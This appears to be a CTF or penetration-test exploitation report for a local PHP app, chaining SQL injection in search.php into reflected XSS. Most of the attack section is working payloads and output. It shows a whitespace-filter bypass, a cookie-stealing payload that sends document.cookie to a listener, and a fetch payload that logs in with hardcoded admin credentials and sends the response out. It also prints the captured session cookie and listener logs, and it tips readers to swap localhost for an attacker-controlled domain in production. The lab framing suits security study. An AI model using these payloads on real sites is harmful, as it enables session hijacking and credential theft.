# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS in Search Functionality via SQL Injection

**Summary:**
- **Vulnerable location:** `http://localhost:8080/search.php?username=[PAYLOAD]`
- **Overview:** SQL injection vulnerability allows injection of arbitrary HTML/JavaScript into query results via UNION SELECT, which is then reflected without HTML encoding, enabling full JavaScript execution in the victim's browser.
- **Impact:** Complete session hijacking, CTF flag extraction via automated authenticated actions, potential for widespread credential theft and account takeover.
- **Severity:** Critical (CVSS 9.8)

**Prerequisites:**
- No authentication required (publicly accessible endpoint)
- Victim must visit a crafted URL or submit a malicious search query
- Tools: Any web browser, curl for testing

**Exploitation Steps:**

1. **Access the vulnerable search endpoint:**
   ```bash
   curl -X GET "http://localhost:8080/search.php"
   ```

2. **Inject XSS payload via SQL UNION SELECT to bypass filter and execute JavaScript:**
   ```bash
   # The payload structure uses SQL injection to inject HTML/JavaScript into the database result
   # Payload breakdown:
   # - "union/**/select/**/1,"<svg/onload=alert(1)>",3#
   # - Closes the SQL string with opening quote
   # - Uses UNION SELECT to inject 3 columns matching the original query structure
   # - /**/ bypasses the whitespace filter (/\s/ regex)
   # - <svg/onload=...> executes JavaScript without spaces
   # - # comments out the trailing quote
   
   curl -X POST "http://localhost:8080/search.php" \
     -d 'username="union/**/select/**/1,"<svg/onload=alert(1)>",3#'
   ```
   
   **Expected Result:** JavaScript alert dialog appears showing "1"

3. **Escalate to session hijacking - steal PHPSESSID cookie:**
   
   First, ensure a session exists by visiting the index page:
   ```bash
   curl -c cookies.txt "http://localhost:8080/index.php"
   ```
   
   Then exploit XSS to exfiltrate the session cookie:
   ```bash
   # Start an HTTP listener to receive stolen cookies
   python3 -m http.server 9999 > exfil.log 2>&1 &
   
   # Trigger XSS with cookie exfiltration payload
   curl -X POST "http://localhost:8080/search.php" \
     -b cookies.txt \
     -d 'username="union/**/select/**/1,"<svg/onload=new/**/Image().src='\''http://localhost:9999/c='\''+document.cookie>",3#'
   
   # Check the exfiltration log
   sleep 2 && cat exfil.log
   ```
   
   **Expected Result:** Log shows:
   ```
   GET /c=PHPSESSID=70214a17aaa7d256976c9456dd55cf23 HTTP/1.1
   ```

4. **Demonstrate CTF flag capture via XSS-automated authentication:**
   
   Set up flag exfiltration listener:
   ```bash
   # Create flag listener (Node.js script at workspace/flag_listener.js)
   cd workspace
   node flag_listener.js > flag_capture.log 2>&1 &
   ```
   
   Deploy advanced XSS payload that performs authenticated login and exfiltrates flag:
   ```bash
   curl -X POST "http://localhost:8080/search.php" \
     -b cookies.txt \
     -d 'username="union/**/select/**/1,"<svg/onload='\''fetch(\"/login.php\",{method:\"POST\",body:\"username=admin&password=ThisIsBestPassword\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"}}).then(r=>r.text()).then(d=>{var/**/i=new/**/Image();i.src=\"http://localhost:9996/?flag=\"+btoa(d)})'\''>",3#'
   
   # Wait for exfiltration and check logs
   sleep 3 && cat flag_capture.log
   ```
   
   Decode the base64-encoded exfiltrated data:
   ```bash
   # Extract the flag parameter from the log and decode
   echo "Q29uZ3JhdHosIGZsYWcgaXMgRkxBR3tjMWFhN2I3MDIyZGQ0YTljOGU3ODkyN2NmZDE5ZDg4ZDE4YTI2Y2Q3M2Q0Y2NhMGQxNTNmNmEyZThkNTE3MGI1fQ==" | base64 -d
   ```

**Proof of Impact:**

1. **JavaScript Execution Confirmed:**
   - Payload: `"union/**/select/**/1,"<svg/onload=alert(1)>",3#`
   - Result: Alert dialog displayed with message "1"
   - Evidence: Browser screenshot showing alert execution

2. **Session Cookie Stolen:**
   - Stolen Cookie: `PHPSESSID=70214a17aaa7d256976c9456dd55cf23`
   - Exfiltration Log Extract:
     ```
     ::1 - - [29/Oct/2025 18:41:18] "GET /stolen?cookie=PHPSESSID=70214a17aaa7d256976c9456dd55cf23 HTTP/1.1" 404 -
     ::1 - - [29/Oct/2025 18:41:28] "GET /c=PHPSESSID=70214a17aaa7d256976c9456dd55cf23 HTTP/1.1" 404 -
     ```
   - Impact: Attacker can impersonate the victim's session, bypassing authentication

3. **CTF Flag Captured via XSS:**
   - **Flag Value:** `FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`
   - Exfiltration Method: XSS payload performed automated POST request to /login.php with hardcoded credentials (admin:ThisIsBestPassword), received flag in response, and exfiltrated via HTTP GET to attacker-controlled server
   - Full Exfiltrated Response (base64 decoded):
     ```
     Congratz, flag is FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}
     ```
   - Listener Log Evidence:
     ```
     [2025-10-30T01:43:07.442Z] Incoming Request
     Method: GET
     Full URL: /?flag=Q29uZ3JhdHosIGZsYWcgaXMgRkxBR3tjMWFhN2I3MDIyZGQ0YTljOGU3ODkyN2NmZDE5ZDg4ZDE4YTI2Y2Q3M2Q0Y2NhMGQxNTNmNmEyZThkNTE3MGI1fQ==
     Query Parameters: {
       flag: 'Q29uZ3JhdHosIGZsYWcgaXMgRkxBR3tjMWFhN2I3MDIyZGQ0YTljOGU3ODkyN2NmZDE5ZDg4ZDE4YTI2Y2Q3M2Q0Y2NhMGQxNTNmNmEyZThkNTE3MGI1fQ=='
     }
     ```

**Notes:**

**Technical Details:**
- The vulnerability chains SQL injection (search.php:25) with missing output encoding (search.php:30)
- The `filter_chars()` function blocks whitespace (`/\s/`) and SQL keywords (and, null, where, limit, like, substring, substr) but can be bypassed using `/**/` SQL comments
- The filter does NOT block: `union`, `select`, `or`, `<`, `>`, making XSS injection trivial
- No Content-Security-Policy (CSP) headers are present, allowing unrestricted script execution
- Session cookie lacks HttpOnly flag (`session.cookie_httponly = 0`), making it accessible via `document.cookie`

**Attack Chain:**
1. SQL Injection → UNION SELECT with HTML/JavaScript payload
2. Database returns attacker-controlled string
3. PHP echoes result without `htmlspecialchars()` or any encoding
4. Browser parses and executes embedded JavaScript
5. JavaScript performs malicious actions (cookie theft, automated requests, flag exfiltration)

**Real-World Impact:**
- **Mass Account Takeover:** Attacker can craft a malicious link, distribute via phishing, and steal session cookies from all victims who click it
- **Automated Credential Harvesting:** XSS can submit login forms in the background, capture responses, and exfiltrate authentication tokens
- **CTF Context:** Complete objective compromise - flag extracted without manual authentication
- **Production Context:** Could lead to full application compromise, data exfiltration, defacement, or malware distribution

**Reproduction Tips:**
- The payload must match the 3-column structure of the original SQL query (UNION SELECT 1, "payload", 3)
- Spaces inside the HTML/JavaScript payload (within the UNION SELECT string) do NOT trigger the filter - only the SQL portion is filtered
- Alternative payloads: `<img/src=x/onerror=alert(1)>` fails because forward slash is interpreted as part of src URL - use `<svg/onload=...>` instead
- For exfiltration in production, replace `localhost:9999` with attacker-controlled domain
